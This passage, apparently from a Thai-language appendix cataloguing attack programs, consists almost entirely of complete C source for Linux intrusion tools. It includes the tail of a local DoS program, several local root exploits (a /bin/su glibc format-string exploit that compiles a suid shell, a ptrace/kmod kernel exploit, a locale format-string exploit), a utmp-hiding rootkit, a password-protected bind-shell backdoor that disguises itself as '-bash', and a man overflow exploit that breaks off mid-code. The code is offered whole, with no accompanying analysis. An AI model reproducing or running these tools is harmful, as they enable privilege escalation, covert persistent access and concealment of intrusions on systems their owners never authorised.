q m i g b m q m i q b m q m i q m e b m q m i g b m q m i g b m q m i g b m q
m i g b m q m i e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q
b m q m i g b m q m i g b m q m i q m e b m q m i g b m q m i g b m q m i g b
m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m q m i g b m q m
i g b m q m i q b m q m i g b m q m i g b m q m i g b m q m i e b m q m i g b
m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m q m
i g b m q m i e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b
m q m i g b m q m i g b m q m i g b m q m i e b m q m i g b m q m i g b m q m
i g b m q m i g b m q m i e b m q m i g b m q m i g b m q m i g b m q m i g b
m q m i q b m q m i g b m q m i g b m q m i q b m q m i g b m q m i q b m q m
i q m e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i g b m q m i
q b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m
q m i e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i g b m q m i
q b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m
q m i q m e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i g b m q
m i q b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g
b m q m i g b m q m i g b m q m i q b m q m i g b m q m i q b m q m i e b m q
m i s m t n u b g h i n v b n k s b m q m i g b m q m i g b m q m i g b m q m
```

```
i q b m q m i g b m q m i g b m q m i q b m q m i g b m q m i q b m q m i q m
n k l k q m i w b k e m i n v b n n i j x b i n y b o i n t t
//end program ouch.c local DoS
```

จ.2 ตัวอย่างโปรแกรมกลุ่ม root compromise

โปรแกรม libc-language_su.c

```
/* /bin/su local root exploit */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <getopt.h>
#include <dirent.h>

char *shellcode =
"\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
"\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
"\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
"\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
"\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
"\x30"
"chown root /tmp/kidd0;chmod 4777 /tmp/kidd0";

char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;
```

```
char *msgfmt = "/usr/bin/msgfmt";
char *objdump = "/usr/bin/objdump";
char *language = NULL;

char *make_format_string(unsigned long, int, int);
unsigned long get_dtors_addr();
char *make_ret_str(unsigned long, int);
void calculate_eat_space(int *, int *);
void checkfor(char*);
void make_suid_shell();
void search_valid_language();

int main(int argc, char **argv)
{
    char execbuf[1024];
    unsigned long dtors_addr = 0xAABBCCDD;
    unsigned long sh_addr = 0xBFFFFFFF;
    FILE *f;
    char *env[3];
    char *args[6];
    int eat = 0, pad = 0, fd;
    char *nop_env;
    int offset = 5000;
    struct stat st;
    int pid, c;
    char randfile[1024];
    char *args2[2], opt;

    printf("glibc xploit for /bin/su - by Doing <jdoing@bigfoot.com>\n");
    printf("Usage: %s [options]\n", argv[0]);
    printf(" -o offset [default: 5000]\n");
    printf(" -n nops [default: 12000]\n");
    printf(" -m path to msgfmt [default: /usr/bin/msgfmt]\n");
```

```
printf(" -O path to objdump [default: /usr/bin/objdump]\n");
printf(" -e eat:pad set eat and pad values [default: calculate them]\n");
printf(" -l language set language used in env var [default: search it]\n");
printf("Enjoy!\n\n");

while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
    switch(opt) {
        case 'o':
            offset = atoi(optarg);
            break;
        case 'n':
            NOP_LEN = atoi(optarg);
            break;
        case 'm':
            msgfmt = strdup(optarg);
            break;
        case 'O':
            objdump = strdup(optarg);
            break;
        case 'e':
            sscanf(optarg, "%i:%i", &eat, &pad);
            break;
        case 'l':
            language = (char*) malloc(40 + strlen(optarg));

            if (!language) {
                printf("malloc failed\naborting\n");
                exit(0);
            }
            memset(language, 0, 40 + strlen(optarg));
            sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
            break;
        default:
```

```
        exit(0);
}

printf("Phase 1. Checking paths and write permisions\n");
printf(" Checking for %s...", msgfmt);
checkfor(msgfmt);
printf(" Checking for %s...", objdump);
checkfor(objdump);

printf(" Checking write permisions on /tmp...");
if (stat("/tmp", &st) < 0) {
    printf("failed. cannot stat /tmp\naborting\n");
    exit(0);
}

if (!(st.st_mode & S_IWOTH)) {
    printf("failed. /tmp it's not +w\naborting\n");
    exit(0);
}
printf("Ok\n");
fflush(stdout);
printf(" Checking read permisions on /bin/su...");

if (stat("/bin/su", &st) < 0) {
  printf("failed. cannot stat /bin/su\naborting\n");
  exit(0);
}

if (!(st.st_mode & S_IROTH)) {
    printf("failed. /bin/su it's not +r\naborting\n");
    exit(0);
}
printf("Ok\n");
```

```
fflush(stdout);

if (!language) {
    printf(" Checking for a valid language...");
    search_valid_language();
    printf("Ok\n");
}
printf(" Checking that %s does not exist...", LC_MESSAGES);

if (stat(LC_MESSAGES, &st) >= 0) {
    printf("failed. %s exists\naborting\n", LC_MESSAGES);
    exit(0);
}
printf("Ok\n");
fflush(stdout);

printf("Phase 2. Calculating eat and pad values\n ");
srand(time(NULL));

if (eat || pad) printf("skkiping, values set by user to eat = %i and pad = %i\n", eat,
  pad);
else {
    calculate_eat_space(&eat, &pad);
    printf("done\n eat = %i and pad = %i\n", eat, pad);
}
fflush(stdout);

sh_addr -= offset;

printf("Phase 3. Creating evil libc.mo and setting environment vars\n");
fflush(stdout);

mkdir(LC_MESSAGES, 0755);
```

```
chdir(LC_MESSAGES);
f = fopen("libc.po", "w+");

if (!f) {
    perror("fopen()");
    exit(0);
}
fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(f,"msgstr \"%s\\n\"", make_format_string(sh_addr, eat, 0));
fclose(f);

sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt);
system(execbuf);
nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);

if (!nop_env) {
    printf("malloc failed\naborting\n");
    exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);

env[0] = language;
env[1] = NULL;

printf("Phase 4. Getting address of .dtors section of /bin/su\n ");
dtors_addr = get_dtors_addr();
printf("done\n .dtors is at 0x%08x\n", dtors_addr);
fflush(stdout);
printf("Phase 5. Compiling suid shell\n");
fflush(stdout);

make_suid_shell();
```

```
printf("Phase 6. Executing /bin/su\n");
fflush(stdout);

args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(dtors_addr, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;
sprintf(randfile, "/tmp/tmprand%i", rand());

if (!(pid = fork())) {
    close(1);
    close(2);
    fd = open(randfile, O_CREAT | O_RDWR);
    dup2(fd, 1);
    dup2(fd, 2);
    execve(args[0], args, env);
    printf("failed to exec /bin/su\n"); exit(0);
}

if (pid < 0) {
    perror("fork()");
    exit(0);
}

waitpid(pid, &c, 0);
unlink(randfile);
stat("/tmp/kidd0", &st);

if (!(S_ISUID & st.st_mode)) {
    printf("failed to put mode 4777 to /tmp/kidd0\naborting\n");
```

```
            exit(0);
        }

        printf(" - Entering rootshell ;-) -\n");
        fflush(stdout);

        if (!(pid = fork())) {
            args2[0] = "/tmp/kidd0";
            args2[1] = NULL;
            execve(args2[0], args2, NULL);
            printf("failed to exec /tmp/kidd0\n");
            exit(0);
        }

        if (pid < 0) {
            perror("fork()");
            exit(0);
        }

        waitpid(pid, &c, 0);

        printf("Phase 7. Cleaning enviroment\n");
        sprintf(execbuf, "rm -rf %s /tmp/kidd0", LC_MESSAGES);
        system(execbuf);
}

char ret_make_format[0xffff];

char *make_format_string(unsigned long sh_addr, int eat, int test)
{
    char *ret = ret_make_format;
    int c, waste;
    int hi, lo;
```

```
    memset(ret, 0, 0xffff);

    for (c = 0; c < eat; c++) strcat(ret, "%8x");

    waste = 8 * eat;

    hi = (sh_addr & 0xffff0000) >> 16;
    lo = (sh_addr & 0xffff) - hi;

    if (!test) {
        sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste);
        sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo);
    }
    else strcat(ret, "%8x *0x%08x* %8x *0x%08x*");
    return ret;
}

unsigned long get_dtors_addr()
{
    char exec_buf[1024];
    char file[128];
    char buf[1024], sect[1024];
    FILE *f;

    unsigned long ret = 0, tmp1, tmp2, tmp3;
    sprintf(file, "/tmp/tmprand%i", rand());
    sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file);
    system(exec_buf);
    f = fopen(file, "r");

    if (!f) {
        perror("fopen()");
```

```
        exit(0);
    }

    while (!feof(f)) {
        fgets(buf, 1024, f);
        sscanf(buf, " %i .%s %x %x \n", &tmp1, sect, &tmp2, &tmp3);
        printf("."); fflush(stdout);
        if (strcmp(sect, "dtors")) continue;
        ret = tmp3;
        break;
    }
    unlink(file);

    if (!ret) {
        printf("error getting the address of .dtors\naborting");
        exit(0);
    }
    return ret+4;
}

char ret_make_ret_str[0xffff];

char *make_ret_str(unsigned long dtors_addr, int pad)
{
    char *ret = ret_make_ret_str, *ptr2;
    unsigned long *ptr = (unsigned long*) ret;
    int c;

    memset(ret, 0, 0xffff);
    *ptr = dtors_addr+2;
    *(ptr+1) = 0xAABBCCDD;
    *(ptr+2) = dtors_addr;
```

```
    ptr2 = &ret[strlen(ret)];
    while (pad--)
    *(ptr2++) = 0xaa;
     return ret;
}

void calculate_eat_space(int *eatr, int *padr)
{
    int eat = 0, pad = 0;
    char tmpfile[128];
    FILE *f;
    char execbuf[1024];
    int fds[2], tmpfd;
    unsigned long test_value = 0xAABBCCDD;
    char *nop_env;
    char *env[2];
    char *args[6];
    char buf[1024];
    int l, pid;
    struct stat st;
    char *readbuf = NULL, *token;
    unsigned long t1, t2;

    tmpfile[0] = '\0';

    nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);

    if (!nop_env) {
        printf("malloc failed\naborting\n");
        exit(0);
    }
    memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
    sprintf(&nop_env[NOP_LEN], "%s", shellcode);
```

```
for (eat = 50; eat < 200; eat++) {
    for (pad = 0; pad < 4; pad++) {
        if (tmpfile[0]) unlink(tmpfile);

        chdir("/");

        sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
        system(execbuf);

        mkdir(LC_MESSAGES, 0755);
        chdir(LC_MESSAGES);

        f = fopen("libc.po", "w+");
        if (!f) {
            perror("fopen()");
            exit(0);
        }

        fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
        fprintf(f,"msgstr \"%s\\n\"", make_format_string(0xbfffffbb, eat,1));
        fclose(f);

        sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.mo",msgfmt);
        system(execbuf);

        pipe(&fds);

        if (!(pid = fork())) {
            close(fds[0]);
            close(1);
            close(2);
            dup2(fds[1], 1);
```

```
        dup2(fds[1], 2);
        env[0] = language;
        env[1] = NULL;

        args[0] = "/bin/su";
        args[1] = "-";
        args[2] = make_ret_str(test_value, pad);
        args[3] = "-w";
        args[4] = nop_env;
        args[5] = NULL;

        execve(args[0], args, env);
    }

if (pid < 0) {
        perror("fork()");
        exit(0);
}
close(fds[1]);

sprintf(tmpfile, "/tmp/tmprand%i", rand());
tmpfd = open(tmpfile, O_RDWR | O_CREAT);

if (tmpfd < 0) {
        perror("open()");
        exit(0);
}

while ((l = read(fds[0], buf, 1024)) > 0)
write(tmpfd, buf, l);
close(tmpfd);

waitpid(pid, &l, 0);
```

```
stat(tmpfile, &st);
chmod(tmpfile, 0777);

f = fopen(tmpfile, "r");
if (!f) {
    perror("fopen()");
    exit(0);
}

if (readbuf) free(readbuf);
readbuf = (char*) malloc(st.st_size);
if (!readbuf) {
    printf("malloc failed\naborting\n");
    exit(0);
}
memset(readbuf, 0, st.st_size);
fread(readbuf, 1, st.st_size, f);
fclose(f);
token = strtok(readbuf, "*");

if (!token) continue;
token = strtok(NULL, "*");

if (!token) continue;
t1 = strtoul(token, NULL, 16);
token = strtok(NULL, "*");

if (!token) continue;
token = strtok(NULL, "*");

if (!token) continue;
t2 = strtoul(token, NULL, 16);
```

```
            if (t2 == test_value)
                if (t1 == (test_value+2)) {
                    *eatr = eat;
                    *padr = pad;
                    sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
                    system(execbuf);
                    if (tmpfile[0]) unlink(tmpfile);
                    return;
                }
                // sleep(10);
            }
            printf(".");
            fflush(stdout);
    }

        if (tmpfile[0]) unlink(tmpfile);
        sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
        system(execbuf);

        printf("failed to calculate eat and pad values. glibc patched or
        invalid language?\naborting\n");
        exit(0);
}

void checkfor(char *p)
{
    int fd;
    fd = open(p, O_RDONLY);

    if (fd < 0) {
        printf("failed\naborting\n");
        exit(0);
    }
```

```
    close(fd);
    printf("Ok\n");
    fflush(stdout);
}

void make_suid_shell()
{
    FILE *f;
    char execbuf[1024];
    f = fopen("/tmp/kidd0.c", "w");

    if (!f) {
        printf(" failed to create /tmp/kidd0.c\naborting\n");
        exit(0);
    }

    fprintf(f, "int main() { setuid(0); setgid(0); system(\"/bin/sh\");}");
    fclose(f);

    sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/kidd0");
    system(execbuf);
    sprintf(execbuf, "rm -f /tmp/kidd0.c");
    system(execbuf);

    f = fopen("/tmp/kidd0", "r");

    if (!f) {
        printf(" failed to compile /tmp/kidd0.c\naborting\n");
        exit(0);
    }

    fclose(f);
```

```
    printf(" /tmp/kidd0 created Ok\n");
    fflush(stdout);
}

void search_valid_language()
{
    DIR *locale;
    struct dirent *dentry;

    locale = opendir("/usr/share/locale");

    if (!locale) {
        perror("failed to opendir /usr/share/locale");
        printf("aborting\n");
        exit(0);
    }

    while (dentry = readdir(locale)) {
        if (!strchr(dentry->d_name, '_')) continue;
        language = (char*) malloc(40 + strlen(dentry->d_name));
        if (!language) {
                printf("malloc failed\naborting\n");
                exit(0);
        }
        memset(language, 0, 40 + strlen(dentry->d_name));
        sprintf(language, "LANGUAGE=%s/../../../../../../tmp",
        dentry->d_name);
        closedir(locale);
        printf(" [using %s] ", dentry->d_name);
        return;
    }
    printf("failed to find a valid language\naborting\n");
    exit(0);
```

}//end program libc-language_su.c

โปรแกรม Linux kernel ptrace/kmod local root exploit

```
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
        "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
        "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
        "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
        "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
        "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
```

```
volatile int gotchild = 0;

void fatal(char * msg)
{
        perror(msg);
        kill(parent, SIGKILL);
        kill(child, SIGKILL);
        kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
        char buf[MAXPATHLEN + CODE_SIZE];
        unsigned long * src;
        int i, len;

        memcpy(buf, cliphcode, CODE_SIZE);
        len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
        if (len == -1)
                fatal("[-] Unable to read /proc/self/exe");

        len += CODE_SIZE + 1;
        buf[len] = '\0';

        src = (unsigned long*) buf;
        for (i = 0; i < len; i += 4)
                if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
                        fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
        struct user_regs_struct regs;
```

```
        if (gotchild++ == 0)
                return;

        fprintf(stderr, "[+] Signal caught\n");

        if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
                fatal("[-] Unable to read registers");

        fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
        putcode((unsigned long *)regs.eip);
        fprintf(stderr, "[+] Now wait for suid shell...\n");

        if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
                fatal("[-] Unable to detach from victim");

        exit(0);
}

void sigalrm(int signo)
{
        errno = ECANCELED;
        fatal("[-] Fatal error");
}

void do_child(void)
{
        int err;

        child = getpid();
        victim = child + 1;

        signal(SIGCHLD, sigchld);
```

```
        do
                err = ptrace(PTRACE_ATTACH, victim, 0, 0);
        while (err == -1 && errno == ESRCH);

        if (err == -1)
                fatal("[-] Unable to attach");

        fprintf(stderr, "[+] Attached to %d\n", victim);
        while (!gotchild) ;
        if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
                fatal("[-] Unable to setup syscall trace");
        fprintf(stderr, "[+] Waiting for signal\n");

        for(;;);
}

void do_parent(char * progname)
{
        struct stat st;
        int err;
        errno = 0;
        socket(AF_SECURITY, SOCK_STREAM, 1);
        do {
                err = stat(progname, &st);
        } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

        if (err == -1)
                fatal("[-] Unable to stat myself");

        alarm(0);
        system(progname);
}
```

```
void prepare(void)
{
        if (geteuid() == 0) {
                initgroups("root", 0);
                setgid(0);
                setuid(0);
                execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
                fatal("[-] Unable to spawn shell");
        }
}

int main(int argc, char ** argv)
{
        prepare();
        signal(SIGALRM, sigalrm);
        alarm(10);

        parent = getpid();
        child = fork();
        victim = child + 1;

        if (child == -1)
                fatal("[-] Unable to fork");

        if (child == 0)
                do_child();
        else
                do_parent(argv[0]);

        return 0;
}//end program  Linux kernel ptrace/kmod local root exploit
```

โปรแกรม local root exploit for the glibc / locale format string bug.

```
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define DEFAULT_OFFSET                  550
#define DEFAULT_ALIGNMENT               2
#define DEFAULT_RETLOC          0xbfffd250
#define DEFAULT_BUFFER_SIZE             2048
#define DEFAULT_EGG_SIZE                1024
#define NOP                             0x90
#define PATH            "/tmp/LC_MESSAGES"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}


 main(int argc, char *argv[]) {
  char *buff, *buff1, *ptr, *egg;
  char *env[3];
  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
  int i,reth,retl,num=111;
  FILE *fp;
```

```
if (argc > 1) sscanf(argv[1],"%x",&retloc);
if (argc > 2) offset  = atoi(argv[2]);
if (argc > 3) num = atoi(argv[3]);
if (argc > 4) align = atoi(argv[4]);
if (argc > 5) bsize   = atoi(argv[5]);
if (argc > 6) eggsize = atoi(argv[6]);

printf("Usages: %s <RETloc> <offset> <num> <align> <buffsize> <eggsize> \n",argv[0]);

if (!(buff = malloc(eggsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
}


if (!(buff1 = malloc(bsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
}

if (!(egg = malloc(eggsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
}

printf("Using RET location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset;
printf("Using Shellcode address: 0x%x\n", shell_addr);

reth = (shell_addr >> 16) & 0xffff ;
retl = (shell_addr >>  0) & 0xffff ;
```

```
ptr = buff;

for (i = 0; i <2 ; i++, retloc+=2 ){
      memset(ptr,'A',4);
      ptr += 4 ;
      (*ptr++) =  retloc & 0xff;
      (*ptr++) = (retloc >> 8  ) & 0xff ;
      (*ptr++) = (retloc >> 16 ) & 0xff ;
      (*ptr++) = (retloc >> 24 ) & 0xff ;
}

memset(ptr,'A',align);
ptr = buff1;

for(i = 0 ; i < num ; i++ )
{
       memcpy(ptr, "%.8x", 4);
       ptr += 4;
}

sprintf(ptr, "%%x%%%uc%%hn%%%uc%%hn",(retl - num*8), (0x10000 + reth - retl
- 6));

mkdir(PATH,0755);
chdir(PATH);
fp = fopen("libc.po", "w+");
fprintf(fp,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(fp,"msgstr \"%s\\n\"", buff1);
fclose(fp);
system("/usr/bin/msgfmt libc.po -o libc.mo");


ptr = egg;
```

```
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
      *(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];

egg[eggsize - 1] = '\0';

memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = "LANGUAGE=sk_SK/../../../../../../tmp";
env[2] = (char *)0 ;

execle("/bin/su","su","-u", buff, NULL,env);

}  //end program local root exploit for the glibc / locale format string bug.
```

จ.3 ตัวอย่างโปรแกรมกลุ่ม miscellany

โปรแกรม hide.c (rootkit)

```
#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>
#include <pwd.h>

#define UTMPFILE   "/etc/utmp"

FILE    *utmpfile;
char    *utmp_tmp[10240];

main (argc, argv)
        int     argc;
        char    *argv[];
```

```
{

        struct  utmp    *user_slot;
        struct  passwd  *pwd;
        char    line[10], name[10], host[20];
        int     index;

        printf ("Welcome to HIDE !        FORMAT:  hide [-i]\n\n");
        utmpfile = fopen (UTMPFILE, "r+");
        if (utmpfile == NULL)
        {
                printf ("ERROR while opening utmp file... exiting...\n");
                exit ();
        }
        index = ttyslot();                                      /* Get this users utmp index */
        index *= sizeof(struct utmp);   /* 36 */
        fseek(utmpfile, index, 0);

/****  Get real UID  ****/
        pwd = getpwuid (getuid());
        if (pwd == NULL)
                printf ("Who the hell are you???");
        else
        {
            printf ("Real user identity:\n");
            printf ("NAME  %s\n", pwd->pw_name);
            printf (" UID  %d\n", pwd->pw_uid);
            printf (" GID  %d\n\n", pwd->pw_gid);
        }

/****  If ARG1 = "-i" then disappear from utmp  ****/
        if ( (argc>1) && (!strcmp(argv[1], "-i")) )
        {
```

```
            index+=8;       /* Rel PNT name */
            fseek(utmpfile, index, 0);
            fwrite ("\000", 8, 1, utmpfile);       /* NO NAME */
            fwrite ("\000", 8, 1, utmpfile);       /* NO HOST */
            fclose(utmpfile);
            printf ("Removed from utmp\n");
            exit();
        }

/****  Change utmp data  ****/
        printf ("Enter new data or return for default:\n");
        fseek(utmpfile, index, 0);      /* Reset file PNT */
        fread(line, 8, 1, utmpfile);    line[8]=NULL;
        fread(name, 8, 1, utmpfile);     name[8]=NULL;
        fread(host, 16, 1, utmpfile);   host[16]=NULL;
        fseek(utmpfile, index, 0);      /* Reset file PNT */
        dinput (" TTY  [%s]%s", line, 8);
        dinput ("NAME  [%s]%s", name, 8);
        dinput ("HOST  [%s]%s", host, 16);
        fclose(utmpfile);
}

/* Data input */
dinput (prompt, string, size)
        char    *prompt;
        char    *string;
        int     size;
{
        char    input[80];
        char    *stat;
        char    space[] = "                         ";

        space[20-strlen(string)] = '\000';
```

```
        printf (prompt, string, space);
        stat = gets (input);
        if (strlen(input) > 0)
                fwrite (input, size, 1, utmpfile);
        else
                fseek (utmpfile, size, 1);
}//end program hide.c
```

โปรแกรม blowdoor v2.0 (backdoor)

```
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>

#define port    2424 // port to listen
#define term    "/bin/sh" // program to run
#define logs    "/dev/null" // dir of logs
#define pass    "61c8ec8adff5d92791f1b9308d7bef9f" // password encrypted with
md5sum
#define proc    "-bash" // hidden syntax

// thx for idea JNAX.C =)
#define GETS(esp) gets(esp); esp[strlen(esp) -1] = '\0';

#define B 1024

char a[36];
```

```
static void bala(const char *b, int dodnet2) { if (!strcmp(b, "exit")) { exit(0); } if
(!strncmp(b, "cd ", 3)) { if (chdir(b +3) < 0) perror("chdir"); return ; } else {
system(b); } }

// retirado da md5 -inicio
mdpass(char *aa)
{
        FILE *temp;
        char mps[1024];

        snprintf(mps, 1024, "/bin/echo -n %s|/usr/bin/md5sum", aa);
        temp = popen(mps, "r");
        memset(a, 0, 36);
        fread(a, 32, 1, temp);
        fclose(temp);
        return a;
}
int main (int argc, char *argv[]) {

        int dodnet, dodnet2, size;
        struct sockaddr_in local;
        struct sockaddr_in remote;
        char cmd[256];

        strcpy (argv[0], proc);
        signal (SIGCHLD, SIG_IGN);

        bzero (&local, sizeof(local));
        local.sin_family = AF_INET;
        local.sin_port = htons (port);
        local.sin_addr.s_addr = INADDR_ANY;
        bzero (&(local.sin_zero), 8);
```

```
        if ((dodnet = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket");
exit(1); }
        if (bind (dodnet, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) {
perror("bind"); exit(1); }
        if (listen(dodnet, 5) == -1) { perror("listen"); exit(1); }

        size = sizeof(struct sockaddr_in);

        forkpid();

        while (1) {
                if ((dodnet2 = accept (dodnet, (struct sockaddr *)&remote, &size)) == -
1) { perror ("accept"); exit(1); }
                if (!fork ()) {

                        char check[15], username[15];
                        int i;

                        send (dodnet2, "username: ", sizeof("username: "), 0);
                        recv (dodnet2, username, sizeof(username), 0);

                        send (dodnet2, "password: ", sizeof("password: "), 0);
                        recv (dodnet2, check, sizeof(check), 0);

                        for (i = 0; i < strlen (check); i++) {
                                if (check[i] == '\n' || check[i] == '\r') {
                                        check[i] = '\0';
                                }
                        }
                        for (i = 0; i < strlen (username); i++) {
                                if (username[i] == '\n' || username[i] == '\r')
                                        username[i] = '\0';
                        }
```

```
                        if (strncmp(mdpass(check), pass,32) != 0) { fuckoff(dodnet2,
check, username); }
                        else { getshell(dodnet2, username, dodnet); }
                }
                else {
                        signal (SIGCHLD, SIG_IGN); close(dodnet2); }
        }
        close (dodnet2);
        exit(0);
}

forkpid() {
        int pid;

        signal(SIGCHLD,SIG_IGN);
        pid = fork();

        if(pid>0) {
                sleep(1);
                exit(EXIT_SUCCESS);
        }

        if(pid == 0) {
                signal(SIGCHLD,SIG_DFL);
                return getpid();
        }
        return -1;
}

fuckoff(int dodnet2, char *tentou, char *identifica) {
        FILE *aa;
        char a[B];
```

```
        signal(SIGCHLD,SIG_IGN);

        aa=fopen(logs,"a+");
        sprintf(a,"date>>%s",logs);
        system(a);

        fprintf(aa,"IDENTIFICOU-SE COMO:        %s",identifica);
        fprintf(aa,"\nOCORRIDO:                 SENHA INCORRETA\n");
        fprintf(aa,"TENTATIVA DE SENHA:         %s",tentou);
        fprintf(aa,"\n----------------------\n");

        fclose(aa);
        close (dodnet2);
        exit(0);
}

getshell(int dodnet2, char *identifica) {
        FILE *aa;
        char a[B];
        char b[BUFSIZ];

        aa=fopen(logs,"a+");
        sprintf(a,"date>>%s",logs);
        system(a);

        fprintf(aa,"IDENTIFICOU-SE COMO:          %s",identifica);
        fprintf(aa,"\nOCORRIDO:                 ACESSO CONCEDIDO\n");
        fprintf(aa,"\n----------------------\n");

        fclose(aa);
        close(0);
        close(1);
        close(2);
```

```
        dup2 (dodnet2, 0);
        dup2(dodnet2, 1);
        dup2(dodnet2, 2);

             for(;;) {
                     printf("bash# ");
                     GETS(b);
                     bala(b,dodnet2);
                     fflush(stdout);
          }
}//end program blowdoor v2.0
```

โปรแกรม agroMANauer.c

```
//man bug allows privileges elevation
#include <stdio.h>
#define BUF_SIZE 5000
#define POS_RET  3500
#define RETADDR  0xbfffefef

// shellcode
char shellcode[] = // 48 caracteres
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh";

  main (int argc, char *argv[]) {
  int i;
  FILE *f;
  char buf[BUF_SIZE];
  long retaddr, offset;
```

```
printf ("\n");
printf ("*****************************************\n");
printf ("* agroMANauer (linux man exploit) *\n");
printf ("*     by buterfree@lettera.net 2000    * \n");
printf ("***************************************** \n\n");
printf ("Try offsets -3000,0,3000,...\n");
printf ("Use : %s [offset] \n", argv[0]);

offset = 0;
if (argc>1) {
  offset = atol (argv[1]);
}
retaddr = RETADDR + offset;
printf ("Return Address = 0x%x \n",retaddr);

// Fill buffer with NOP's
memset (buf, 0x90, BUF_SIZE);
buf[BUF_SIZE]=0;

// Copy Return Address
for (i=POS_RET; i<=BUF_SIZE-10; i+=4) {
  *(long*)(buf+i) = (long) retaddr;
}

// Copy shellCode
for (i=0; i<strlen(shellcode); i++) {
  buf[i+POS_RET-strlen(shellcode)-20] = shellcode[i];
}

// Export TERMCAP
setenv ("MANPAGER", buf, 1);

// Run program
```

```
  execl (″/usr/bin/man″,″man″,″ls″,NULL);
